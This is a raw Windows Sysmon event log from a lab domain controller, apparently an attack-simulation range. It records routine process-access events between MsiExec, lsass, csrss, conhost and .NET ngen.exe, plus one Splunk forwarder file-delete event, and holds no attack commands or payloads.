14:43:46.238{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-E707-00000000F001}7008c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.223{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E507-00000000F001}6336c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.223{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E507-00000000F001}6336c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.207{7BD73061-6F22-613B-E607-00000000F001}58246536C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-E507-00000000F001}6336c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.192{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E607-00000000F001}5824C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.192{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E507-00000000F001}6336c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.192{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-E507-00000000F001}6336c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.176{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E307-00000000F001}2240c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.176{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E307-00000000F001}2240c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.160{7BD73061-6F22-613B-E407-00000000F001}7000608C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-E307-00000000F001}2240c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.160{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E407-00000000F001}7000C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.160{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E307-00000000F001}2240c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.160{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-E307-00000000F001}2240c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.145{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E107-00000000F001}6580c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.145{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-E107-00000000F001}6580c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.129{7BD73061-6F22-613B-E207-00000000F001}44602244C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-E107-00000000F001}6580c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.113{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E207-00000000F001}4460C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.113{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E107-00000000F001}6580c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.113{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-E107-00000000F001}6580c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000039213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.113{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C4E1558D92D17ECB34113924C2B261EB,SHA256=C9FE2EE77C461409ECDB005FBC8A8F3C088F5476650B3227119434455F4191C6,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.098{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-DF07-00000000F001}4760c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.098{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-DF07-00000000F001}4760c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.082{7BD73061-6F22-613B-E007-00000000F001}52166332C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-DF07-00000000F001}4760c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.082{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-E007-00000000F001}5216C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.082{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-DF07-00000000F001}4760c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.082{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F22-613B-DF07-00000000F001}4760c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.067{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-DD07-00000000F001}348c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.067{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F22-613B-DD07-00000000F001}348c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.051{7BD73061-6F22-613B-DE07-00000000F001}69127080C:\Windows\system32\conhost.exe{7BD73061-6F22-613B-DD07-00000000F001}348c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.035{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-DE07-00000000F001}6912C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:46.035{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F22-613B-DD07-00000000F001}348c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 